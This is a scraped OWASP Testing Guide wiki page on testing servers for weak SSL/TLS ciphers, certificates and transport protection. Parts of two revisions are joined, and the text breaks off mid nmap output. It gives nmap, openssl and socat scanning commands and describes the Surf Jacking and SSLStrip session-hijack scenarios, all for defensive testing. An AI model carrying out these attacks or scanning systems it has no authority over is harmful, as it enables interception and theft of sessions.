[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
* [99] [breacher.sh|http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179067Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:56:37Z<p>D0ubl3 h3lix: /* References */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
